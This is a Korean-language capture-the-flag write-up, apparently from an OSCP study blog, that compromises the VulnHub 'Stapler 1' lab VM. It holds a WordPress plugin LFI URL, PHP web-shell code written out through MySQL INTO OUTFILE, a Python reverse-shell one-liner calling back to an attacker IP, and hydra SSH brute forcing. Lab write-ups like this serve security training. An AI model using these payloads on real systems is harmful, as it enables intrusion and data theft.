[목차]
1. 목표
2. 작업 환경 구성
3. 작업 절차
4. 작업 결과
5. 작업 과정 풀이
[목표]
root shell 권한 탈취 후 CTF(C4tch the Fl4g)
https://www.vulnhub.com/entry/stapler-1,150/
[작업 환경 구성]
가상환경 툴 : Virtual Box
공격 서버 : Kali Linux
공격 및 분석 툴 : netdiscover / nmap / amap / nikto / dirb / enum4linux / wpscan
/ searchsploit / curl / hashcat / john the ripper / hydra / webshells
[작업 절차]
타겟 대상 설정 -> 타겟 정보 수집 ->
타겟 서버 서비스 분석 및 취약점 찾기 ->
취약점에 맞는 공격 방법 설정 및 활용 ->
공격 성공 후 전체 과정 문서화 작업 및 보고서 작성
[작업 결과]
발견된 취약점 : Injection / LFI 등
사용된 공격 방법 : PHP web-shell / Brute Force
웹쉘은 공격자가 원격에서 웹서버에 명령을 수행할 수 있도록 작성한
웹스크립트(asp, php, jsp, cgi) 파일이다.
업로드 취약점을 통해 시스템에 명령을 내릴 수 있는 코드를 칭하며
내부적인 코드로 인해서 또한 발생할 수 있다.
해당 취약점이 발생되면 시스템에 원격으로 백도어를 심을 수 있다.
[공격 과정 풀이]
1. 타겟 정보 수집 (Reconnaissance / Information Gathering)
IP 검색 및 포트 정보 확인
# netdiscover -r 192.168.56.0/24
or
# nmap -sn 192.168.56.0/24
# export ip=192.168.56.109
# nmap -sV -O $ip
# nmap -p- $IP
# amap -bqv 192.168.56.109 20 21 22 53 139 666 12380
ftp 접속
# ftp $ip 21
anonymous 로그인
ftp> ls
ftp> get note
ftp> exit
# ls
# cat note
접속 시도
# firefox 192.168.56.109:12380 &
소스코드
추가 스캐닝 dirb
dirb 사용법
# dirb https://$ip:12380 z
# dirb https://$ip:12380 /usr/share/wordlists/dirb/big.txt
# nikto -h $ip:12380
SSH 접속 시도 (22번 포트)
# ssh $ip
enum4linux 검색 (139번 포트)
# enum4linux -a $ip
SMB 정보를 추출
그 외 감춰졌던 디렉터리 /blogblog/,/admin112233/ 등의 정보가
rotbots.txt에 들어있는 것 같다.
들어가 정보를 캐보자.
참고) 보안상 감춰져 있던 디렉터리라
http가 아닌 https로 접속해야 확인이 가능하다.
# firefox https://$ip:12380/robots.txt &
# firefox https://$ip:12380/admin112233 &
# firefox https://$ip:12380/blogblog/ &
페이지 정상 출력이 안된다.
원래 보여야 하는 페이지는 아래와 같다.
워드프레스로 만들어진 블로그라고 하단에 쓰여있음
wordpress 스캔
# wpscan --disable-tls-checks --url https://$ip:12380/blogblog --enumerate u
# wpscan --disable-tls-checks --url https://$ip:12380/blogblog --enumerate ap
/blogblog/wp-content/uploads, 원래 이곳에 플러그인 정보가 나와야 하는데 안 나온다.
이렇게 나와야 하고 여기서 advanced-video 플러그인 정보를 얻는다.
[다른 방법으로 확인]
블로그 글을 뒤져보면 WorePress Plugins을 설치했다는 정보가 있다.
스캔 정보에도 있었듯 /blogblog 아래
플러그인들을 보관하는 폴더 wp-content로 이동해본다.
발견
advanced video라는 플러그인 관련 정보를 읽어보면
2. 침투 (penetration)
이제 해당 프로그램과 관련된 코드가 있는지 살펴본다.
# searchsploit wordpress advanced video
.
받아주고 편의를 위해 이름을 변경 후 코드를 살펴본다.
POC 부분이 공격 코드. 해당 부분을 수정해 준 뒤 url에 입력해본다.
수정 부분
https://192.168.1.53:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php
(참고)
코드 수정 전 혹시 모를 상황을 대비해
카피본을 만들어 두고 작업하는 것이 좋다.
원본/카피본 변경사항 비교할 때 확인하는 CMD
# diff -ruN attack.py.orig attack.py
실제 수정은 하지 않고 참고만 한다.
[중요]
수정한 부분을 url에 입력하기 전 선행 사항으로
firefox 탭을 두 개로 띄워 한 곳에 먼저
httpd://$ip:12380/blogblog에 접속해둔 상태에서
다른 탭에 수정한 url을 입력해야 한다.
이 상태에서 미리 열어둔 탭으로 돌아가
페이지를 F5 refresh 시켜주면,
전에 없던 jpeg 파일이 생긴 것을 볼 수 있다.
(게시물에 포함된 이미지 파일 내에 저장된
"wp-config.php "의 내용으로 새 블로그 게시물이 생성)
클릭해 들어가 보면,
대충 이런 페이지
이제
https://$ip:12380/blogblog/wp-content/uploads에 들어가 보면
전에는 안 보였던 새 게시물
두 개가 있는 것을 확인할 수 있다.
터미널로 가서 curl CMD를 이용해
해당 파일의 데이터를 가져온다.
# curl -k https://$ip:12380/blogblog/wp-content/uplodas/1376046123.jpeg
db_user: root / db_password? plbkac
db 정보 확인이 가능하다.
상대편 DB에 접속해보자.
# mysql -u root -p -h $ip
password : plbkac
mysql> show databases;
mysql> use proof;
mysql> show tables;
mysql> select * from message;
mysql> use wordpress;
mysql> show tables;
mysql> select * from wp_users
이번에는 위 데이터를 받아보자.
https://$ip:12380/phpmyadmin
id: root
pw:plbkac
phpmyadmin에 들어가 보면 테이블 항목의 내용을
다양한 포맷의 파일로 export 하는 기능을 제공한다.
wp_users 항목을 csv 형식으로 내려받고 읽어보자.
# cat wp_users.csv
일반적으로 첫 번째 유저가 관리자인 경우가 많지만
혹시 모르니 모든 password 해시값을 hashcat/ johntheripper/hydra
등의 툴을 사용해 해독해본다. 하지만 여기서 잠깐, 해시 해독 전,
현재 상대편 DB에 접속이 가능한 상태라
직접 쉘 코드를 올리는 것이 가능해 보인다.
이것을 먼저 시도해 본다.
php 공격 코드를 짠다.
# vi cmd.php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "</pre>$cmd<pre>";
die;
}
?>
작성한 코드를 16진수(hex string)으로 변환시킨다.
# echo -n $(cat cmd.php) | xxd -p
mysql 접속해
만들어둔 shell php 코드를 injection 해준다.
mysql > SELECT 0x[16진수로 바꾼 코드 입력] INTO OUTFILE '/var/www/https/blogblog/wp-content/uploads/cmd.php';
올린 후 해당 경로로 이동
https://$ip:12380/blogblog/wp-content/uploads/cmd.php
또는
16진수로 바꾸지 않고 바로 코드로 올리려면
mysql> Select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell.php";
이렇게 하고 해당 경로로 이동한 뒤
https://$ip:12380/blogblog/wp-content/uploads/shell.php
리스너 기동시켜준 후
# nc -lvp 7979
from the php shell :
cmd=python%20-c%20'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.190.1",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
from nc
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ find -name ".bash_history" -exec cat {} \;
$ sudo usermod -s /bin/bash peter ($ sudo /bin/bash)
이렇게 해주면 되는데
mysql에 쓰기 권한이 없기 때문에
아래 에러 문구와 함께 동작하지 않는다.
Can't create/write to file ~~~~ (Errcode: 13 - Permission denied)
원인 :
비록 root로 접속했지만 파일 생성 등의 권한은 실제 상대방 mysql daemon에
있으므로 당장 해결 방법은 없어 보인다. 고로 다른 방법을 찾아보도록 한다.
그래서 다시 password를 해독으로 돌아가려다가 다시 잠깐,
먼저 다운로드한 wp_users 리스트에서 이름만 출력해 따로 파일에 저장한다.
저장 시 주의 사항으로는 파일상 추측 가능한 이름이
대문자/소문자로 나누어져 있다는 것.
이럴 때는 두 가지를 모두 경우의 수로 고려해 파일에 넣어줘야 한다.
두 번째 필드 이름만 추출해 저장
# cat wp_users.csv | awk -F, '{print $2}' | awk -F\" '{print $2}' > users.txt
4 번째 필드의 이름 리스트를 뽑아 users.txt에 추가 저장
이제 해당 리스트를 hydra에 활용한다.
# hydra ssh://$ip -L users.txt -p plbkac (# hydra $ip -L users.txt -p plkac ssh)
하나 찾았다.
ID: zoe
Pw: plbkac
접속 시도
# ssh -l zoe $ip
성공!
왠지 끝낼 수 있을 듯하다.
데이터를 뒤져보자.
home 디렉터리로 이동.
하나하나 들어가서 .bash_history 파일을 뒤져본다.
그러던 중,
ssh로 peter@localhost에 JZQuyIN5 패스워드로 접속한 기록!
접속을 시도해본다.
$ ssh peter@localhost
$ cat /etc/passwd 가 되는지 확인
되는 걸 보아 거의 다 왔다.
root 권한을 획득하는 방법 두 가지.
1. $sudo /bin/bash
peter 비번을 물어본다. plbkac
2. root 비번 변경
$ sudo passwd root
peter 비번을 물어본다. plbkac
새 비번 : takudaddy
재 입력: takudaddy
$ su - root
password : takudaddy
다 왔다.
CTF!!
* 해시 값 해독하는 실습은 따로 해보자.
'OSCP > Vulnahub' 카테고리의 다른 글
5. SickOs.1.2 (0) | 2021.03.10 |
---|---|
4. VulnOSv2 (0) | 2021.03.06 |
(번외) Stapler 서버 설치 해프닝 (0) | 2021.01.23 |
2. FRISTILEAKS: 1.3 (0) | 2021.01.21 |
1. KIOPTRIX: 2014 (#5) (2) | 2020.12.03 |